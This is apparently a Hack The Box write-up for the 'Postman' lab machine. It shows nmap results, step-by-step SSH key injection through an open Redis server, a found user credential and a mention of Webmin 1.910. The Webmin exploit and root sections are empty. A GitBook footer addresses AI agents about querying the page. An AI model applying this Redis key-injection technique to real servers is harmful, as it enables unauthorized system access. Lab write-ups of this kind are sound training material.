> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cpts-track/htb-postman.md). # HTB - Postman ## Enumeration and Foothold ### NMAP ```bash ──(ajay㉿kali)-[~/Downloads] └─$ nmap -sV -v -A 10.129.2.1 -p- Starting Nmap 7.98 ( ) at 2026-05-25 13:08 -0400 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-title: The Cyber Geek's Personal Website |_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF |_http-server-header: Apache/2.4.29 (Ubuntu) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371 |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS ``` ### HTTP - 80

Nothing interesting found. ### HTTP - 10000

login page, need credentials. weak creds like `admin : admin` did not work. ### Redis - 6379 ```bash ┌──(ajay㉿kali)-[~/Downloads] └─$ redis-cli -h 10.129.2.1 10.129.2.1:6379> INFO # Server redis_version:4.0.9 # Keyspace 10.129.2.1:6379> ```

We have write access on the redis server.

we can change the directory too. #### Escalation through Redis SSH Key Injection Step 1 : Generate an SSH key locally ```bash ┌──(ajay㉿kali)-[~] └─$ ssh-keygen -t rsa -b 4096 -f ~/.ssh/redis_key Generating public/private rsa key pair. Enter passphrase for "/home/ajay/.ssh/redis_key" (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/ajay/.ssh/redis_key Your public key has been saved in /home/ajay/.ssh/redis_key.pub The key fingerprint is: SHA256:70TtKZshNcxwzekHXLQVx3zS6rF1KZDv8Q7aWD/pwZM ajay@kali The key's randomart image is: +---[RSA 4096]----+ | ..o=+| | * o.o*| | . . O .oo| | = o =o.o| | S * +.=+.| | + o *+..| | . = B +E.| | + B . =o| | + ...| +----[SHA256]-----+ ``` Step 2 : Format the key padding so Redis doesn't corrupt it with memory headers: ```bash ┌──(ajay㉿kali)-[~] └─$ (echo -e "\n\n"; cat ~/.ssh/redis_key.pub; echo -e "\n\n") > /tmp/padded_key.txt ``` Step 3 : Pipe the key into Redis memory ```bash ──(ajay㉿kali)-[~] └─$ cat /tmp/padded_key.txt | redis-cli -h 10.129.2.1 -x set crackit OK ``` Step 4 : Find a valid writable .ssh directory

## Shell as redis

Found user Matt and user.txt file which only Matt can read.

Running Linpeas found a private key for Matt in the /opt directory.

Credentials Found `Matt : computer2008`

SSH into the machine results in permission denied But i was able to successfully login to the machine through the redis shell.

Once successfully logged in i tried to check the ssh config to see why i got an error. ```bash Matt@Postman:/var/lib/redis$ cat /etc/ssh/sshd_config # $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ #deny users DenyUsers Matt Matt@Postman:/var/lib/redis$ ``` The ssh config deny Matt to log in through ssh ## Shell as Matt ```bash Matt@Postman:~$ id uid=1000(Matt) gid=1000(Matt) groups=1000(Matt) Matt@Postman:~$ sudo -l [sudo] password for Matt: Sorry, user Matt may not run sudo on Postman. Matt@Postman:~$ ``` With credentials of matt we can login to the webmin portal.

The version of webmin is leaked : 1.910

### Exploiting webmin 1.910

## Shell as Root

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cpts-track/htb-postman.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.